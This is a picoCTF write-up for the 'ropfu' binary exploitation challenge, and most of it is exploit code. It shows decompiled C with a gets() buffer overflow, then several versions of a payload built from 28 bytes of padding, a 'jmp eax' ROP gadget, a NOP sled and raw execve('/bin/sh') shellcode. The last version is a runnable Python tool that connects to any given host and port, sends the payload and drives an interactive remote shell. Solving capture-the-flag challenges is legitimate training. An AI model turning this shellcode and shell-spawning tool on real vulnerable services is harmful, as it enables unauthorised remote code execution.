PicoCTF Writeup - ropfu#

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
    int v4; // [esp+0h] [ebp-Ch]
4

5
    setvbuf(stdout, 0, 2, 0);
6
    v4 = getegid();
7
    setresgid(v4, v4, v4);
8
    vuln();
9
    return 0;
10
}
11

12
int vuln()
13
{
14
    _BYTE v1[20]; // [esp+0h] [ebp-18h] BYREF
15

16
    puts("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!");
17
    return gets(v1);
18
}

1
int main(int argc, const char **argv, const char **envp)
2
{
3
    gid_t effective_group_id;
4

5
    setvbuf(stdout, NULL, _IONBF, 0);
6
    effective_group_id = getegid();
7
    setresgid(effective_group_id, effective_group_id, effective_group_id);
8
    vuln();
9
    return 0;
10
}
11

12
int vuln()
13
{
14
    char buffer[20];
15

16
    puts("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!");
17
    return gets(buffer);
18
}

1
>>> chr(0x76)+chr(0x75)+chr(0x74)+chr(0x73)
2
'vuts'

1
>>> len('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'.split('stuv')[0])
2
28

1
lea     eax, [ebp+var_18]
2
push    eax
3
call    gets

1
def craftPayload():
2
    # ROP Gadgets:
3
    # 0x0805333b : jmp eax
4

5
    rop_chain = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
6
    nop_slide = b"\x90" * 100
7

8
    # 0xffb00a6c:     0x0805333b      0x2f68686a (jhh starting point)
9
    shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
10

11
    padding = b"A" * 28
12

13
    payload = padding + rop_chain + nop_slide + shellcode
14

15
    return payload

1
def craftPayload():
2
    instruction = b"\xFF\xE4"                       # jmp esp
3
    padding = b"A" * (28 - len(instruction))
4

5
    # ROP Gadgets:
6
    # 0x0805333b : jmp eax
7
    rop_chain   = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
8

9
    nop_slide = b"\x90" * 100
10
    shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
11

12
    payload = padding + instruction + rop_chain + nop_slide + shellcode
13

14
    return payload

1
from argparse import ArgumentParser
2
from socket import *
3
import struct
4
import time
5

6
def craftPayload(shellcode_path: str):
7
    instruction = b"\xFF\xE4"                       # jmp esp
8
    padding = b"A" * (28 - len(instruction))
9

10
    # ROP Gadgets:
11
    # 0x0805333b : jmp eax
12
    rop_chain   = struct.pack("<I", 0x0805333b)     # 0x0805333b : jmp eax
13

14
    nop_slide = b"\x90" * 20
15
    shellcode = b""
16
    if shellcode_path == "builtin":
17
        shellcode = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
18
    else:
19
        fp = open(shellcode_path, "rb")
20
        shellcode = fp.read()
21
        fp.close()
22

23
    payload = padding + instruction + rop_chain + nop_slide + shellcode
24

25
    return payload
26

27
def interactive(s: socket):
28
    while True:
29
        command = input("$ ")
30
        if command.strip() == "exit":
31
            break
32
        s.send(command.encode() + b"\n")
33
        response = s.recv(65535)
34
        print(response.decode())
35

36
def exploit(target: str, port: int, shellcode_path: str):
37
    print("[~] Generating payload...")
38
    payload = craftPayload(str(shellcode_path))
39
    print(f"[+] Payload has been generated.")
40

41
    s = socket(AF_INET, SOCK_STREAM)
42
    print(f"[~] Connecting to {target}:{port}...")
43
    s.connect((target, port))
44
    print(f"[+] Connected to {target}:{port}.")
45
    time.sleep(1)
46
    s.recv(65535)
47
    print(f"[~] Sending payload...")
48
    s.send(payload + b"\n")
49

50
    print("[+] Payload sent successfully.")
51
    if shellcode_path == "builtin":
52
        print("[~] Spawning interactive shell...")
53
        interactive(s)
54
    s.close()
55

56
if __name__ == "__main__":
57
    parser = ArgumentParser(
58
        prog="PicoCTF ropfu Exploit",
59
        description="Exploit for the PicoCTF ropfu challenge",
60
    )
61
    parser.add_argument(
62
        "-t", "--target",
63
        required=True,
64
        help="set target IP or URL address",
65
        type=str
66
    )
67
    parser.add_argument(
68
        "-p", "--port",
69
        required=True,
70
        help="set target port",
71
        type=int
72
    )
73
    parser.add_argument(
74
        "-s", "--shellcode",
75
        required=False,
76
        help="set path to shellcode file",
77
        type=str,
78
        default="builtin"
79
    )
80

81
    args = parser.parse_args()
82

83
    TARGET_HOST : str       = str(args.target)
84
    TARGET_PORT : int       = int(args.port)
85
    SHELLCODE_PATH : str    = str(args.shellcode)
86
    exploit(TARGET_HOST, TARGET_PORT, SHELLCODE_PATH)